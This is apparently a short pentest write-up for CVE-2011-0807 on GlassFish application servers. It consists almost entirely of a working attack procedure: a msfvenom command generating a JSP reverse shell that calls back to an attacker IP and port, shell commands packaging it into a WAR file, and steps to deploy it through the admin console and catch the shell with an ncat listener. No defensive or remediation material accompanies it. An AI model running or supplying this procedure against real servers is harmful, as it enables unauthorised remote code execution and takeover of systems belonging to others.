Description

This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) instance using a default credential, uploads, and executes commands via deploying a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x.

CVE

CVE-2011-0807

Steps to exploit

┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.139.10 LPORT=5566 -f raw -o shell.jsp   
Payload size: 1499 bytes
Saved as: shell.jsp
                                                                                                                                                            
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish]
└─$ mkdir shell                                                                              
                                                                                                                                                            
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish]
└─$ cp shell.jsp shell                                        
                                                                                                                                                            
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish]
└─$ cd shell          
                                                                                                                                                            
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish/shell]
└─$ jar -cvf ../shell.war *
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: shell.jsp(in = 1499) (out= 587)(deflated 60%)
                                                                                                                                                            
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish/shell]
└─$ cd ../                
                                                                                                                                                            
┌──(n16hth4wk👽n16hth4wk-sec)-[~/Glassfish]
└─$ ls                    
shell  shell.jsp  shell.war

Glassfish 3.1.3

login to the admin panel and click on deploy an application

upload the war shell file we created earlier and click ok to upload

click launch to launch the appliication and start your listener on ncat

click on the link to trigger the shell

check back your listener

we got a reverse shell. and we are through 🙂 easy huh?